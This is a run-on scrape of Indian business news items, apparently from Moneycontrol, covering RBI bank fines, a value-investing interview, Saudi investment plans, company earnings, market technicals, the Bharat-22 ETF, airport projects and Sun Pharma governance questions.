The North European nation has so far enrolled over 2,174 Indians as e-residents who have created 286 companies, the statement said, adding these include freelancers and location-independent entrepreneurs as well.

"Our goal in 2019 will be able to attract around 300 new companies from India," e-residency's head of public relations Arnaud Castaignet said in the statement.live bse live

nse live Volume Todays L/H More 

The Reserve Bank Of India (RBI) has imposed a monetary penalty on Bank of Baroda (BoB), Corporation Bank, State Bank of India (SBI) and Union Bank Of India for non-compliance of various directions issued by the central bank.

In an order dated January 31, RBI said it has imposed monetary penalty on Bank of Baroda, Corporation Bank, SBI, Union Bank of India for non-compliance with directions issued by RBI on monitoring of end use of funds, exchange of information with other banks, classification and reporting of frauds, etc.

According to the press release, Corporation Bank has been fined Rs 2 crore, while BoB , SBI and Union Bank Of India were fined Rs 1 crore each.The RBI said it imposed penalties on seven lenders, including Allahabad Bank, Bank of Maharashtra, HDFC and Kotak Mahindra Bank , for violation of various banking norms.

Penalties are based on deficiencies in regulatory compliance and "is not intended to pronounce" upon the validity of any transaction or agreement entered into by the banks with their customers, the central bank said.

(With inputs from PTI)Image: FLAME University

In Part 3 of the podcast interview with Sanjay Bakshi, value investor, behavioural finance expert at Adjunct Professor at MDI, talks about how he chooses his investments, whether technology is disrupting the concept of moat  or a company having competitive advantages over peers  and how investors should avoid value traps.

Listen to part 1 and part 2. The final part of the interview will be published tomorrow.

Q: What are some of the basic rules that you follow while investing in a company and how have they evolved over the course of your investment career?

A: They have evolved a lot and that applies to almost every investor. When I started practicing value investing about 25 years ago, I was purely a Graham investor. So, I was doing statistical bar games, I was doing risk arbitrage. The key source of margin of safety for me was from a low price in relation to perceived value; it could be a cash bargain, it could be high dividend paying stock, it could be a stock selling well below its net current asset. All the standard filters that Graham has spoken about in his books.

So you are not paying a lot of attention to the quality of the business or the quality of the management and you are very quant-oriented and of course, that kind of a strategy will work, provided you have lots of bets. You cant have five names, you need to have 40 names or even more.

But over time, I became much more aware of the qualitative factors, management factors, softer factors, things that are hard to measure and its very difficult to put them in an Excel model for example. But they are very important, investing with the right kind of entrepreneur who has the right kind of skill-set and the right kind of ethics, for example, can create enormously beneficial outcomes.

So over a period of time, I ended up thinking about investing in three buckets. There is a business bucket, there is a management bucket and there is a valuation bucket.

In a Graham framework, the valuation bucket is of extreme importance in a sense that the management may be mediocre, the business may be very mediocre, but a low price could offset the disadvantages of having a mediocre business in your portfolio or a mediocre management running those businesses.

But the process that I follow now requires me to first love the business. If I dont love the business, there is no point thinking about the management and there is no point thinking about the valuation. If I dont like the people who run the business, I am not going to say a low price can compensate for all that.

So, yes, valuation is important and very critical but it comes after you have found a business that you love and after you have found people who run those businesses that you love.

Q: So, typically how much does it take for you to research a company?

A: Its a good question and honestly, I spent six months in a stock and [and had the experience of] getting a lot of confidence and ending up with very bad outcomes. I have spent five minutes on a stock and with excellent outcomes and when I say five minutes it doesnt mean that I just found a name and I bought that stock in the spur of the moment. Knowledge is cumulative. Sometimes you know that there is a great business out there and you havent bought it because its too expensive but you know that they are executing well and its a great business. But for whatever reason the stock price falls, it could be company-specific, it could be macro, it could be political, it could be anything, but it doesnt take a lot of time for you to come to the conclusion that this is a great opportunity to be in. So, five minutes is all that it took in this one case and in another one I spent some six months and you do all the work and you collect all the data and you make a big investment memo and you have all this confidence but it kind of blows up in your face. So, yes these things happen.

I dont want to say that there is a set time that one has to spend before determining. I do want to say one thing though, which is there is this concept, which the younger generation is much more familiar with. They call it FOMO, or fear of missing out. Now when you are doing research, one of the tendencies that you have to guard yourself against is FOMO, which is that the stock will run away, and you havent done the work yet, and other people are buying it and the stock is going up. So, one thing, which is very hard to do but its worthy of learning to do is to avoid FOMO.

Do the work, focus on the process - there is a process, there is a checklist for the business, there is a check list for the management, there is a checklist for valuation, finish the work. Before you finish the work, if it runs away, let it go. There will be other opportunities that will come but rushing in without finishing the work because you gave in to FOMO exactly during a bull market, for example, is likely to be very costly. I paid the price for that and I am not saying that I have become completely rational, but one of the things that I am working very hard on for myself is to get over this FOMO tendency.

Q: Do you recall any instances where you spent just about five minutes on a stock and that gave you some really good returns?

A: Yeah, I mean there is this company called P&G Hygiene and Health, and we know that they own the Whisper sanitary napkin franchise and its very easy to see that it has a great business. Now I want to mention I am not recommending this stock, I am using this just as an example and I dont own it now. Just wanted to make the disclosure before we go further. So, here was the case when they had a couple of bad quarters and the stock fell like 40 percent and the business was excellent, was then excellent and is still excellent and it was a very simple decision.

There is a famous song by Richard Marx which goes along the following line that I would be right here waiting for you. So, you know you have done the work, you already know that this is a business and you like what they do and how they are executing. What you dont like is the valuation and then it comes. Its come not because there has been an impairment, its come because there is an overreaction to something, which is not very important. A couple of bad quarters doesnt change the value at all, in my view, in the long run.

They own the Whisper sanitary napkin franchise. India is a country where you have 1.3 billion people, half of them are females and most of them dont use sanitary pads. So there is a large market out there. This company in the branded space has more than the 50 percent of market share. So, its a very long runway kind of a business and they also owned Old Spice, and they own one more brand. So, its a three brand company and a few years ago, the stock fell to a price, which made me comfortable to own it. It was a five minute thing but there have been other situations where you spend a whole lot of time to gain conviction and then you give up because you just dont understand it.

Q: Among other things you have also spoken about moats, wherein a company has a definite advantage over its rivals and is able to protect market share. How relevant are moats in todays world? We have lot of this disruption happening because of technology, because of policy changes. What are your thoughts on that?

A: Firstly, the fact that I believe in the concept of moat doesnt mean that I dont believe in the other concepts of investing. As a teacher I teach different styles of value investing. I teach investing like Ben Graham, investing in debt restructuring for example. I dont do debt restructuring, I dont do bankruptcy workouts. I have done them in the past but I dont do them anymore. But that doesnt mean that you cant make money there. Its a great place to make money. I dont do risk arbitrage anymore but I teach it.

But I agree with you that the nature of moats is changing. Standard moat businesses come from either brands, they come from intellectual property, they come from network economics and they come from the low cost advantage and I feel that out of these four, there is only one, which is unchanged and is unchangeable, which is the desire for customers to pay low prices. That means that if there is a business, which can earn a reasonably good return on capital while having the lowest cost advantage -- thats durable. If you can focus intensely on maintain your advantage, which means not getting too greedy about gross margins, not getting too greedy about your margins and trying to cut prices to the point where you are deterring competition. That sort of moat is going to stay around for a long time because I dont think human nature is such that they would like to keep paying higher prices when the whole world starts laughing at them.

Which is what happened in many cases; there are these companies, which charge very high prices for their products because they can and in the past they could. But today consumers are far more conscious about the high prices they are paying compared to alternate products that come by at much cheaper prices but with similar value propositions. One example that is often used in this context is that of Dollar Shave Club and again its a good example to use because Gillette was spending an enormous amount of money in R&D and they have this extraordinary gross margins. You would expect that this will last forever, but today 13 or 14% of the market share has been taken away by this company.

They dont spend a lot of money on advertising, they dont spend a lot of money on R&D, they give a blade which is as good as any another blade and they turn it into a subscription model, which is very interesting because the subscription model is just an illustration of a point that its not just about technology innovation or about the other point that you made - regulatory changes that can cause moats to get eroded -- it is also business model innovation. So you have to worry about all of those things.

Q: Very often, stocks that look like good bargains after having fallen sharply from their peaks, turn out to be value traps. Of course, the reason why they are also called value traps is because they are hard to spot. So, how does an investor distinguish between whats a bargain and whats a value trap?

A: Thats a good question and I deal with this all the time in my classroom. Knowing something that is cheap is one thing, knowing that it is cheap but cheap for the wrong reasons and those reasons that are not permanent is another thing. So, the way to understand this is there is value and there are value traps. In fact, Ben Graham writes about this in his book. Towards the end of Security Analysis, there is a chapter in which he talks about certain classes of businesses - he doesnt use the word value trap but he is implying that - he talks about holding companies.

For example, we have seen holding companies, which own shares in other companies and nothing else, there is no business, there is no operating business, but they just hold shares of another company. They tend to sell at very steep discounts to the breakup values. Those shares could be sold in the market, sometime three to four times the current market value of the whole company and its very easy for a student of value investing to say, my god this is so cheap and therefore I should buy it. Its cheap, we know that, thats evident, but should you buy it? That depends on the presence or absence of a catalyst. How likely is it that that cheapness will go away? For that to happen they have to sell the shares and distribute the dividend, they have to have massive buybacks or have to liquidate the company. If none of those things are going to happen, then the probability of the value being realised is low, and thats the important point for students to understand. That it might be cheap but if the cheapness is not going to go away for specific reasons -- could be governance, could be structural -- then its probably a value trap.

Then there are other kinds of value traps - I do a whole series of lectures on this, giving examples over there - but one of the classic value traps is the PE (price to earning) multiple value trap that you know in a cyclical business, which is experiencing a lot of shortage and an enormous jump in the profitability of that industry. The price has gone up 5-6-10 times and the earnings have gone up even faster, the stock looks cheap because you looking on a PE multiple based on the last 12 months or the forward 12 months something like that.

Graham warned about that also in his books. There is a chapter called Trends, in one of the best chapters that I have read in a book that Graham wrote -- it is a small book called Interpretation of Financial Statements. In that chapter, he talks about a company, which is experiencing a positive trend line in earnings and it is cyclical and the question you have to ask is how likely is it that this trend will last and how much of a price you already paid it into that likelihood. Its important to recognise that things that appear to be cheap are not always cheap and the vice versa is also true by the way.Saudi Crown Prince Mohammed bin Salman has suggested that the company is valued at $2 trillion. Apples valued at less than half of that, at $943.53 billion and Alphabet Inc is valued at $838.55 billion.

Saudi Arabia's Crown Prince Mohammed bin Salman is expected to announce investments in energy and infrastructure during a visit to India and Pakistan in coming days as part of his efforts to wean the Saudi economy off oil exports.

He is also expected to visit China, Malaysia and Indonesia during a tour that will be his first through the region since the storm over the murder of Jamal Khashoggi, a Washington Post columnist, at the Saudi consulate in Istanbul in October.

Prince Mohammed is expected to sign agreements, mostly linked to a refinery and the power sector, during the trip to Pakistan this weekend, Pakistani officials said.

The memorandums of understanding will include renewable energy projects and investments in petrochemicals and mineral resources, Saudi state news agency SPA said.

The prince is expected in New Delhi next week, along with leading Saudi businessmen, at the invitation of Prime Minister Narendra Modi, India's foreign ministry said on February 12.

Pakistani Prime Minister Imran Khan was among a handful of leaders who attended an investment conference in Saudi Arabia in October, an event boycotted by many companies and world leaders in protest over Khashoggi's killing.

India's Modi met the prince in November, when they were both in Argentina for a Group of 20 summit. Saudi Arabia is India's top supplier of crude oil but the two countries have expanded ties beyond energy, and their governments have agreed to build a strategic partnership, the foreign ministry said.

In a statement, it cited cooperation in areas including energy security, trade and investment, infrastructure, defence and security.

India is expecting Prince Mohammed to announce an initial investment in its National Investment and Infrastructure Fund (NIIF), a quasi-sovereign wealth fund, to help accelerate the building of ports and highways, an Indian official said.

Saudi state media said Saudi officials will discuss an investment in NIIF.

Saudi Arabia has also flagged a desire to invest in India's farm sector, with products to be exported to Saudi, another official at the trade ministry said.

REFINERY HITCH

However, progress on a $44 billion refinery that Indian state-run oil companies agreed to build with Saudi Aramco on India's west coast has been held up by strong opposition from mango farmers who will lose their land.

Since taking office in 2014, Modi has sought to use India's fast-growing economy to attract more investment from Saudi Arabia and other Islamic nations.

As a fellow Muslim country, Pakistan has long maintained strong ties with Saudi Arabia. In late October, Riyadh offered Pakistan a $6 billion loan to help keep its ailing economy afloat.

Saudi Arabia has also announced plans for a $10 billion refinery and petrochemical complex at the coastal city of Gwadar, where China is building a port as part of its vast Belt and Road initiative.

Theyre looking at the energy sector, at some of our privatization plans that they might bid for through our privatization process, Pakistani investment minister Haroon Sharif told Reuters.

Sharif, who chairs Pakistans Board of Investment, said there was also Saudi interest in Pakistans mining sector.

Saudi Arabia has huge resources. Their investment fund is over $1 trillion, so we want just a fraction of that, said a second Pakistani minister, who did not wish to be named.

Saudi state news said Saudi officials will discuss investments with China, South Korea and Indonesia, in sectors including healthcare and telecommunications, without giving further details.Highlights:

- Decent topline growth in Q3 FY19- Operating margin continues to remain under pressure- Short-term business outlook weak, positive for the long term

--------------------------------------------------

Motherson Sumi Systems (MSSL), Indias largest automotive wiring harness company and one of the largest domestic automobile ancillary players, posted in line set of Q3 FY19 earnings on the back of a demand slowdown in both domestic and international markets and margin contraction for Samvardhana Motherson Peguform (SMP) and its India business.

The capex cycle is coming to an end and ramping up of new plants is expected to result in an increase in operating leverage. This, coupled with the push towards electric vehicles (EV) and transition towards Bharat Stage-VI (BS-VI) emission norms should result in healthy growth in the topline and gradual increase in margin. MSSL is currently trading at reasonable valuations, which warrants investor attention.

Quarter in a nutshell

While the company posted a year-on-year (YoY) growth of 14.5 percent in its consolidated net revenue, earnings before interest, tax, depreciation and amortisation (EBITDA) margin was marred by poor operating performance for SMP, Samvardhana Motherson Reflectec (SMR) and its Indian business.

Segment-wise, the standalone business witnessed a 3.6 percent revenue decline, led by a 6.9 percent decline in domestic business, which was on the back of subdued domestic consumer sentiment. International business, however, saw a 15.5 percent increase in revenue.

EBITDA margin contracted 120 basis points (100 bps=1 percentage point) to 14.9 percent, which is at multi-quarter lows. The contraction was led by a weaker dollar-rupee and rise in raw material prices, which got partially offset by cost control measures taken by the management.

SMP, which is into modules and polymer component business, is a leading global supplier of door and instrument panels and bumpers. The business saw its revenue decline 2.3 percent in euro terms, on subdued demand post-implementation of Worldwide Harmonised Light Vehicle Test (WLTP) norms. EBITDA margin fell 30 bps due to cost of setting new plants and negative operating leverage.

SMR, a leading global supplier of exterior mirrors, saw its revenue grow 1.5 percent in euro terms and EBITDA margin contract 40 bps YoY.

In euro terms, revenue for PKC, a Finland-based wiring harness specialist company) grew 7.7 percent. The business was impacted by weak demand from the eurozone. EBITDA margin contracted 20 bps on negative operating leverage.

Factors to watch out for

The company has set up 33 new plants in the last four years to meet its growing order book. The management said production will commence at Tuscaloosa in Q4 and that all key greenfield projects are now complete and are in a ramp-up phase now. Once the ramp-up is complete, operating leverage will kick-in, thus contributing to margin expansion.Integration of PKC has been happening smoothly as is evident from the strong growth during Q3 on the back of healthy traction coming in from the North American (NA) and European truck market. It commands a 62 percent market share in NA Class 8 (really heavy trucks) truck wiring harness and 54 percent of its revenue accrues from there. PKC is also aggressively targeting the China truck market and has already ventured into three joint-ventures catering to different customers. It has received a 280 million euro order from Bombardier and is in discussion with various original equipment manufacturers to develop and supply electric system.Given the global focus on EVs, this segment would be an important growth driver for the company going forward. As per the management, battery driven vehicles would need more wiring components, which would increase content per vehicle by close to 10-20 percent. Other businesses related to polymer and mirror-based products are immune to the shift to EVs.Demand outlook continues to be muted for the passenger vehicle (PV) segment in India. Wiring harness demand, however, is expected to outperform PV industry growth driven by increase in content per vehicle and new product launches. In fact, implementation of BS-VI emission norms would lead to complexity in wiring harness and consequently value. MSSL is in a strong position to take advantage of the growth accruing in the domestic PV segment.Rising debt levels on the back of its amplified capex plans and the quest to grow the business inorganically has been a concern for MSSL. With the capex cycle coming to an end, the company has started paying off its debt and repaid Rs 1,600 crore in Q3. Its net debt has now fallen to Rs 9,705 crore as of December-end.In light of subdued demand and outlook, the stock has corrected quite significantly and down 48 percent from its 52-week high, making valuations reasonable. The stock currently trades at 21.7 times FY19 and 17 times FY20 projected earnings. We advise investors to accumulate this business in staggered manner.

Follow @NitinAgrawal65

For more research articles, visit our Moneycontrol Research page

Moneycontrol Research analysts do not hold positions in the companies discussed herelive bse live

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Kshitij Anand

Four straight days of decline from the top of 11,118 pushed Nifty on Tuesday below crucial short-term moving average such as 5/13/20-days exponential moving average, and its long-term average of 200-DMA placed at 10,858.

Breadth of the market has been weak for some time now which has kept the upside capped for the index. The index made a recent top on February 7 at 11,118 but since then it has remained in a bear grip.

Major indices  Nifty, Nifty500, Nifty-200, Nifty-100, Nifty Midcap, and Smallcap  are all trading below their long-term moving averages. In terms of sectors, Nifty FMCG, Nifty Auto, Nifty Metal, Nifty Pharma, Nifty PSU Bank, Nifty Realty. etc. are all trading below their respective long-term moving averages.

In terms of stocks, nearly 700 scrips on the NSE are trading below their crucial long-term moving averages, including prominent names like ITC, SBI, Maruti Suzuki, ONGC, L&T, Coal India, IOC, Bharti Airtel, NTPC, Hindustan Zinc, Sun Pharma, Power Grid and IndusInd Bank.

Here is a list of top 20 stocks based on market capitalisation which are trading below their 200-DMA:

The use of 200-days moving average is considered as one of the most important indicators by traders and chartists to determine the long-term trend of a stock or an index.

Theory suggests that as long as stocks trade above their 200-DMA, the overall trend is considered bullish, while it is exactly the opposite if it is trading below their 200-DMA.

The simplest form of a moving average, appropriately known as a simple moving average (SMA), is calculated by taking the arithmetic mean of a given set of values.

For the shorter-term simple moving average (SMA), investors can use 5, 13 and 20-day time periods. Whenever prices are closing above the 20 days SMA, it is generally considered that the short-term trend is up and a close below the 20-days SMA, we say the short term trend is down.

For the longer-term, 100 and 200-day time periods can be used. Whenever prices close above the 200-days SMA, the long-term trend is considered to be up and vice-versa, Shabbir Kayyumi of Narnolia Financial Advisors told Moneycontrol.

Only a handful of stocks are taking the market higher while the majority names are still trading below their crucial level long-term moving averages.

As many as 180 stocks on the NSE are trading above their crucial 200-DMA which include names like RIL, TCS, HDFC Bank, ICICI Bank, Wipro, Bajaj Finance, HCL Technologies, Asian Paints, Nestle India, Tech Mahindra, Aurobindo Pharma, Dr. Reddys and Biocon.

Moving averages help in identifying the support and resistance levels of security. Resistance makes stock prices go down and builds tension while support buoys a stock up, often setting the stage for a release to new highs.

Moving averages such as the 50-DMA, 200-DMA act as both support and resistance. If a stock is currently trading above its 50-DMA/200-DMA, then these moving averages may act as support to the stocks price, Vipin Khare of William O'Neil India told Moneycontrol.

On the contrary, if the stock is trading below its 50-DMA/200-DMA, then they might act as resistance to the stocks price, he said.

What should investors do?

Nifty50 continued its corrective phase for the third session in a row but seems to be attracting some support around 10,850-10,800. The index breached the crucial short-term support zone of the 20-day moving average and the 40-day exponential moving average which shows that bears have an upper hand.

Considering the fact that we are trading near crucial support levels, technical charts do not rule out a pullback or some rally from crucial support level but will that sustain is key. Traders who are short can book profits near 10,700, suggest experts.

India VIX fell 0.57 percent to 15.75 levels. VIX needs to cool down further with a hold below 16 zones to get any recovery from support zones.

On the options front, maximum Put OI is placed at 10,400 followed by 10,700 and 10,500 strikes while maximum Call OI is placed at 11,000 followed by 11,200 strikes.

As long as Nifty sustains above its near-term support level of 10,812, bulls may attempt a pullback rally but the moment Nifty slips below 10,800, the pace of fall shall get aggravated further with initial targets close to 10,700 levels, Mazhar Mohammad, Chief Strategist  Technical Research & Trading Advisory, Chartviewindia.in told Moneycontrol.

Ideally, if Nifty is making a range bound move between 11,000 and 10,600 the test of lower end of said consolidation zone (10600) cant be ruled out. However, traders who are on the short side shall consider booking profits close to 10700 levels. Contrary to this any close above 10900 can be an initial sign of come back for bulls, he said.

Gaurav Ratnaparkhi, Senior Technical Analyst, Sharekhan by BNP Paribas said that the hourly chart also reveals that the fall is unfolding with an Impulse structure, which is a typical characteristic of a deeper decline.

On the downside, 10,583-10,534 is the subsequent target area to watch out for. Any attempt of a minor degree bounce is likely to face resistance near 10,900-10,920, he said.live bse live

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ITC shares rallied 3 percent and Engineers India gained 4 percent on Wednesday morning ahead of additional offering of Bharat-22 ETF.

To meet the divestment target, the government will launch an additional offering of Bharat-22 Exchange Traded Fund (ETF) on February 14 to raise at least Rs 3,500 crore, officials told PTI on Tuesday.

The ETF sale would be for a single day, in which both institutional and retail investors can participate.

The base issue size has been fixed at Rs 3,500 crore with an option to retain any additional subscription. In this additional offering, the government is selling stake in 20 companies out of 22 available in the Bharat-22 ETF basket.

ITC is not a part of this additional offering, said a notice issued by ICICI Prudential AMC, the trustee for this Bharat-22 ETF. The company's weightage in the ETF basket is 16.45%.

Along with ITC, Engineers India could be the other company wherein the government is not selling stake through ETF, CNBC-TV18 reported quoting sources.

"Government of India (Gol) shall disinvest the shares of central public sector enterprises (CPSEs) and public sector banks (PSBs) forming part of S&P BSE Bharat 22 Index (the underlying index) through this Additional Offering to the extent the shareholding of the GoI post disinvestment is maintained at or above 52 percent of the paid-up share capital of those CPSEs and PSBs, and/or subject to any other limits/conditions specified by the GoI," said the notice issued by ICICI Prudential AMC.

"And the government will not disinvest shares of ITC which forms part of the underlying index through this Additional Offering," it added.

The cumulative weightage of 20 companies (out of 22) to be disinvested by the government is 78 percent while the weightage of rest of 2 companies, shares of which will be bought from the open market, is 22 percent.

As the government will maintain at or above 52 percent of the paid-up share capital of those CPSEs and PSBs after this Additional Offering, the AMC has to maintain weightage of each stock in Bharat-22 ETF index. So to maintain that weightage, it will have to buy shares of both companies from open market and give it to investors.

So the buying demand could be one of reasons for upside seen in stocks on February 13, a day ahead of opening of Additional Offering of Bharat-22 ETF, sources said.

Earlier, the government had announced 5 percent discount on the closing price of S&P BSE Bharat 22 Index on February 13. Now as there are only 20 companies on offer, the effective discount to the investor would be approximately 3.9 percent.

"The above is only for illustrative purposes and the actual discount applied may vary depending on various factors," the trustee notice said.

Engineers India has a 0.78 percent weight in Bharat 22, sources told CNBC-TV18.

Currently the government holds 52.05 percent in Engineers India, and 7.97 percent stake in ITC through Specified Undertaking of the Unit Trust of India.

The government has so far raised Rs 22,900 crore through the Bharat-22 ETF. While Rs 14,500 crore was raised in November 2017, another Rs 8,400 crore was raised in June 2018.

The central public sector enterprises (CPSEs) that are part of the ETF include ONGC, IOC, SBI, BPCL, Coal India and Nalco.

Other constituents include Bharat Electronics, Engineers India, NBCC, NTPC, NHPC, SJVNL, GAIL, PGCIL and NLC India. Only three public sector banks  SBI, Indian Bank and Bank of Baroda  figure in the Bharat-22 index.

Also, the government's strategic holding in Axis Bank, ITC and L&T, held through Specified Undertaking of Unit Trust of India (SUUTI), has been put in the ETF basket.

This would be the second ETF offering by the government in the current fiscal which ends in March. In November last year, the government had raised Rs 17,300 crore through a follow-on offer of another exchange traded fund  CPSE ETF, which comprises shares of 11 public sector enterprises. This was the biggest-ever fund raising from an ETF domestically.

ITC was quoting at Rs 280.85, up Rs 5.40, or 1.96 percent and Engineers India was up 1.81 percent at Rs 115.60 on the BSE, at 10:16 hours IST.The officer was driving south near the 10600 block of South Woodlawn Avenue in the Pullman neighborhood on the Far South Side when he lost control of the vehicle and skidded into the northbound lanes, according to police.Jayant Sinha

The government has adopted new airports as the focal point for the development of aviation infrastructure, with the ministry of civil aviation aggressively pushing for the development of the Navi Mumbai and Hindon airports in Mumbai and Delhi.

Speaking at the CAPA Aviation Summit, minister of state, Jayant Sinha said that the government is putting efforts to decongest metro airports in order to support the current capacity while building new airports.

Work is on at war footing to set up new infrastructure around metro airports, he said.

According to the MoS, work for development of additional runways at Delhi and Bangalore airport are in full swing coupled with fast tracked development of Navi Mumbai, Jewar International airport and Hindon Airport.

While the government hopes to start Navi Mumbai airport by 2021-22, Hindon airport is expected to start operations by next month.

Hindon airport in Delhi was an air-force base, which has been partially taken over by the ministry for civil operations.

According to senior ministry officials, the defence ministry has given permission to carry out civil operation at the airport by assigning different entry and exit route from the base.

They have protected their core operational area and have given access to the base in order to provide ready infrastructure to carry out flying operations by airlines We will develop our own infrastructure simultaneously, a senior official has said.

Due to unavailability of slots at Delhis Indira Gandhi International Airport, the government had decided to start the operations at Hindon airport, till new runway is built at the Delhi IGI in three to four years. Hindan was approved by the government under its regional connectivity scheme to provide connectivity to places like Pithoragarh, Jaisalmer, Gorakhpur, Prayagraj (Allahbad), Hubli and Kannur.

Similarly, Delhis second international airport at Jewar is expected to be operational by 2022. The airport will support Delhi IGI airport to handle the growing passenger count every year. According to Sinha, the Jewar airport will be connected with IGI via metro.

According to government estimates, close to 1.1 billion passengers will fly in, out and within India by 2040 which will require almost 200 airports. Presently, 187 million passengers have been recorded in India.

"In leading regions like Delhi and Mumbai, even the second airports are likely to be saturated by 2040 and will require a third airport. Overall, India may require around 190-200 airports in 2040," Vision document for 2040, released by the government has noted.

Sinha hopes to inaugurate Navi Mumbai airport by FY22, whose updated cost stands at Rs 16,704 crore. Situated on the outskirts of Mumbai, the Navi Mumbai airport is likely to handle 10 million passengers after the first phase of the airport is inaugurated and 60 million passengers overall.

The airport is being developed under a public-private partnership (PPP) model between GVK Group subsidiary Mumbai International Airport (MIAL) and City and Industrial Development Corporation of Maharashtra Ltd (CIDCO).live bse live

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Brokerages are upbeat on SpiceJet's financials, going forward, especially after it receives deliveries of Boeing Max aircraft.

They have retained buy calls on the stock, stating better fuel efficiency, passenger load factors and falling non-fuel cost.

Low cost airline carrier SpiceJet has posted a steep 77.1 percent year-on-year decline in profit to Rs 55.1 crore, dented by higher aircraft fuel expenses.

Its profit in same period last year was at Rs 240 crore.

The company said revenue from operations during the quarter grew by 20.2 percent to Rs 2,487 crore year-on-year.

At operating level, EBITDA (earnings before interest, tax, depreciation and amortisation) plunged 62.7 percent YoY to Rs 113.2 crore and margin contracted to 4.5 percent in Q3 against 14.7 percent YoY due to more than 33 percent increase in operating expenses.

Here is a gist of what brokerages are stating about the results.

Brokerage: SBI Cap Securities

SBI Cap Securities believes that the companys Q3FY19 revenue trajectory was akin to that of its peers  YoY improvement in yields (by 3.2%) at the cost of PLF (340bps down).

However, elevated cost pressure resulted in PAT declining 77% YoY.

Delivery of fuel-efficient Max aircraft, which is expected to improve overall operating economics of the aircraft by 8-9%, has commenced  10 in a fleet of 74.

However, it is still early days to gauge the benefits of this, and performance in Q4FY19/Q1FY20 will be key.

Return of pricing discipline coupled with cost-reduction measures should drive improvement in profitability, analysts at the firm wrote in their report.

Brokerage: Edelweiss

Key highlights:

1) Yields rose 4% YoY offsetting the fall in PLF from 94% to 90%.

2) Contrary to market fears, PLFs have proven less elastic to yields than anticipated, leading to RASK expansion.

Management has indicated focus on RASK expansion; a pickup in growth to 17% QTD will help support this as the slide in PLF should taper in Q4.

With B-737 Max deliveries on schedule, the company is on course to record steady, profitable growth.

Brokerage: Elara Securities

The brokerage house expects fuel CASK to decline by Rs 0.25 per seat-km for

FY20E over Q3 based on current crude prices and dollar rate.

Moreover, addition of fuel-efficient Boeing 737-Max8 aircrafts would further reduce fuel CASK by Rs 0.10 per seat-km.

Strong growth in fares to sustain

A 15-day advance air fare of 653 domestic routes, states average industry yield improved ~15% YoY during Jan-Feb 2019 on declining capacity of Jet Airways.

We expect Spicejet to benefit further from falling competition in regional routes, comprising 10% of its passenger volume. We saw regional routes premium over the industry rise to Rs 3.9 per seat-km during January-February 2019 vs Rs 2.9 per seat-km during April-December 2018, analysts said.

It has reiterated buy call on improving fuel efficiency, falling non-fuel cost with new fleet addition, and short-haul international market opportunity with Boeing-737-8Max.live bse live

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Sun Pharma, India's largest drug maker on February 12 said it it had responded to the two queries raised by stock market regulator the Securities and Exchange Board of India (SEBI) related to 2004 foreign currency convertible bonds (FCCB) issuance and about Sun's business with Aditya Medisales (AML).

"While we do not have the access to the whistleblower compliant, we received information request from SEBI related to our 2004 FCCB issuance and also transaction with Aditya Medisales," said Dilip Shanghvi, MD of Sun Pharma in the investor call.

"We responded to the queries," Shanghvi said.

Shanghvi assured investors that at no point of time Sun Pharma's minority shareholders have been disadvantaged in transactions with Aditya Medisales.

"AML financials are available in the public domain. It earns an EBITDA margin of only 1.4 percent from Sun Pharma for distributing its products in India. And its net margins are less than 0.4 percent, which actually includes significant dividend income which it receives for its equity holding in Sun Pharma. So net margin is lower than 0.4. Given the low margins and size of Sun Pharma domestic formulation business, AML is working on extremely tight working capital necessitating Sun Pharma to fund AML time to time for which interest was always covered at arms length," Shanghvi said.

He further added that the company is the in the process of transitioning the distribution of India formulation business to a 100 percent Sun's subsidiary by Q1FY20.

Shanghvi also reiterated that Sun Pharma will be unwinding a loan transaction of Rs 2,238 crore entered with a third-party called Atlas Global Trading.

Shanghvi said Sun Pharma entered into transaction with Atlas to "conserve cash so as to retain flexibility of undertaking mergers and acquisitions in the specialty space."

The company's FY18 annual report doesn't mention the name of Atlas Global Trading. According to an old Credit Suisse report, Atlas is a company of SuGandh Group, which is into trading of Basmati rice. Another company from the SuGandh Group, SuGandh Management Consultancy, was a related party of Sun Pharma, an enterprise under significant influence of key management personnel or their relatives till February 28, 2013.

Sun Pharma said it had given a loan of $400 million in FY15 which was repaid, later it gave another loan $300 million in FY18 to Atlas as the drug maker failed to fulfill the supply commitments due to GMP issues at Halol.

Shanghvi said the supply contract will be assigned to wholly owned subsidiary, and $300 million will squared-off on the balance sheet.

Sun Pharma's corporate governance practices are under scanner on reports of a whistle-blower complaint to SEBI alleging transactions over Rs 5,800 crore between AML and Suraksha Realty, out of the money generated from the publicly-listed company.

Moneycontrol was unable to independently review the whistle-blower complaint. The report alleged the Sun Pharma's payment to Aditya Medisales was transferred to the promoter and group companies between 2014 and 2017.

In another complaint last year the whistle blower is said to have alleged irregularities involved two or three major rounds of foreign currency convertible bonds (FCCBs) issues by Sun Pharma during 2002-2007, which was managed by Jermyn Capital LLC.

Jermyn Capital was alleged to be having links with stock market manipulators Dharmesh Doshi and Ketan Parekh.Hyundai Electronics, which has entered the consumer durables segment in the country, is looking to garner Rs 575 crore in revenue in FY20. The company is looking to offer a series of home appliances including smart LED televisions, air conditioners, washing machines and refrigerators.

In an interaction with Moneycontrol, Akshay Dhoot, CEO of Hyundai Electronics, said that their target segment will be middle income and high income customers. In Mumbai, the company will have presence through 250 retail outlets.

Hyundai Electronics is an extended arm of Hyundai Corporation, the South Korean multinational headquartered in Seoul. In India, it has a brand licensing agreement wherein Hyundai Corporation will be paid royalty. Dhoot did not disclose the exact royalty payable.

What will it sell?

Initially, Dhoot said, the focus will be on the television segment where TVs from 24 inches to 65 inches will be sold. He added that they will be cheaper than the traditional South Korean brands.

When it comes to washing machines, the company will sell both semi-automatic and fully automatic products.

"We will have partnership with specific firms for product manufacturing in India. Hyundai Electronics will not enter into the business of manufacturing these products," he said. So, for each product, there will a tie-up with an entity for production purposes.

At a later stage, Dhoot explained that they plan to enter into personal care (hair dryer, shavers etc) and kitchen appliances like wine chillers and juicers. He said the plan is to enter this space by the end of December 2019.

"We are testing several products at our R&D facilities. The idea is to be present across categories," he added.

How will they sell?

The company plans to have an offline presence so that customers get a 'touch and feel' of the product before buying it. Dhoot said that they will sell in stores across states like Maharashtra, Odisha and Madhya Pradesh.

He explained that they have a brand presence across the electronic retailers in India and added that they are not looking to set up standalone stores.

"The idea is to have a market share of 3 percent across every product category that we are present in," said Dhoot.

Hyundai Electronics is looking to equip the products with technologies like artificial intelligence (AI) and machine learning features across segments. All their LED television will be AI-enabled, he added.Low-cost airline IndiGo, operated by InterGlobe Aviation, cancelled 49 flights on February 13, as it struggled to normalise operations since a hailstorm in northern India on February 7, hit operations.

